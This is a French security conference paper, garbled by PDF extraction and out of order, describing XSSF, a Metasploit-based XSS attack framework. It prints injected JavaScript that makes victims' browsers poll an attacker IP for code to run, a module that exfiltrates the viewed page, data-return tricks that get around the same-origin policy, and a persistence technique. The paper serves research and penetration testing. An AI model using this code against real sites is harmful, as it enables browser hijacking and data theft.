Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 5: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

306 XSSF demontrer le danger des XSS

Dans la pratique un script malicieux ne pourra pas effectuer de requetes (GETPOST etc) vers un domaine different de celui qui est vulnerable (avec lrsquoobjetXMLHttpRequest 6 par exemple)

Lrsquoorigine est definie en fonction de trois parametres et deux ressources sont dites dememe origine si ces trois valeurs sont exactement les memes

ndash Le nom du domainendash Le protocole utilisendash Le port TCP utilise

On imagine alors lrsquoimportance de cette politique de securite dont le role estdrsquoempecher par exemple qursquoune vulnerabilite sur httpwwwfacebookcom per-mette a un attaquant drsquoaller recuperer des donnees sur httpwwwgmailcom (avecune session probablement laissee active)

En plus drsquoempecher la recuperation des donnees depuis drsquoautres domaines crsquoestgrace a cette politique que lrsquoattaquant va etre bloque srsquoil veut acceder au perimetrelocal de la victime (serveurs internes reseau Intranet etc) depuis une vulnerabilitesur un domaine public

URL demandee Resultat Raison

httpwwwvulnerablecompagehtml OK Meme domaine meme port(80) meme protocole (http)

httpwwwvulnerablecomotherhtml OK Meme domaine meme portmeme protocole

httpwwwvulnerablecom81otherhtml ERREUR Port different

httpswwwvulnerablecomotherhtml ERREUR Protocole different

httpwwwgmailcomindexhtml ERREUR Domaine different

httpXXXYpagehtml ERREUR Domaine different

Table 1 Possibilites de chargement de ressources pour un script malicieux se trouvantsur http wwwvulnerablecomsearchphp (XXXX)

Cependant et heureusement pour la suite du projet XSSF il existe quelquespasse-droits a cette regle de securite tels que les IFRAMES ou le chargement deressources distantes Pour les objets de type JavaScript par exemple (ltscriptgt) il

6 httpfrwikipediaorgwikiXMLHttpRequest

L Courgnaud 307

est tout a fait possible de charger une ressource drsquoun domaine malicieux B depuis undomaine vulnerable A

Figure 1 Acces direct a une ressource JavaScript

De la meme maniere il est possible de charger des ressources avec les objets detype image CSS etc En revanche bien que lrsquoon puisse charger une page ou executerdu code avec un objet de script distant il sera impossible drsquoacceder (en JavaScript)au contenu retourne Crsquoest le meme principe pour les IFRAMES toujours a causede la SOP Les IFRAMES quant a elles seront tres utiles par exemple pour realiserun POST de maniere invisible vers un serveur distant controle par lrsquoattaquant ounon controle (sur une application tierce vulnerable aux attaques de type CSRF 7 parexemple)

Nous verrons dans le chapitre de presentation de XSSF les differentes faconsutilisees pour contourner le probleme de la Same-Origin Policy politique qui acependant beaucoup de soucis a se faire avec la venue drsquoun nouvel element

24 Arrivee du HTML5 tous aux abris

Bien que les specifications pour ce nouveau standard ne soient pas encore completementdefinies la majorite des navigateurs actuels ont drsquoores et deja commence a suppor-ter cette nouvelle revision du HTML La cloture de lrsquoajout de fonctionnalite pour

7 Cross-Site Request Forgery httpfrwikipediaorgwikiCross-site_request_forgery

308 XSSF demontrer le danger des XSS

ce nouveau standard est prevue pour le 22 mai 2011 et les specifications serontcompletement terminees en 2014

Le HTML5 ne vient pas faciliter le travail de protection contre les failles XSSmais pire encore il elargit la portee des attaques et oblige les developpeurs a reparerdu code deja considere comme sur

Le premier point est lrsquoarrivee de nouvelles balises HTML (ltaudiogt ltvideogt etc)et evenements JavaScript (oncanload etc) qui vont venir ajouter de la complexite acertains filtres deja en place sur de nombreuses applications On peut citer lrsquoexempledes e-mails qui acceptent souvent du code HTML dans leur contenu (images pucesetc) en utilisant des filtres afin drsquoeviter les XSS Lrsquoarrivee de ces nouveaux elementsoblige a remettre a jour ces filtres XSS rendus inefficaces avec lrsquoarrivee du HTML5La page HTML5 Security Cheatsheet 8 montre les differents ajouts pouvant poserde nouveaux problemes et les facons de rendre lrsquoapplication sure a nouveau

Le second point probablement le plus important est lrsquointroduction du partagede ressources entre domaines (Cross-Origin Resource Sharing) En drsquoautres termesle navigateur peut etre autorise a effectuer des requetes AJAX entre des domainesdifferents contournant ainsi la SOP Ceci est rendu possible grace a lrsquoajout de nou-velles entetes HTTP par le serveur autorisant ou non chaque domaine distant aexecuter la requete Ainsi un domaine A pourra charger ou modifier une ressource(GET POST etc) sur un domaine B si celui-ci lrsquoautorise

Cette technique a servi a demontrer une nouvelle XSS sur lrsquointerface web IPhone deFacebook dont le parametre profilephp dans lrsquoURL httptouchfacebook

comprofilephp permettait de charger une page dynamiquement (AJAX - XMLHtt-pRequest) a lrsquointerieur drsquoune balise div Auparavant les developpeurs nrsquoavaientpas reellement a se soucier de la page chargee puisque le navigateur aurait par exempleinterdit le chargement de httpremote-servermaliciousphp (SOP do-maine different)

Grace au HTML5 le chargement est desormais possible si le domaine remo-

te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

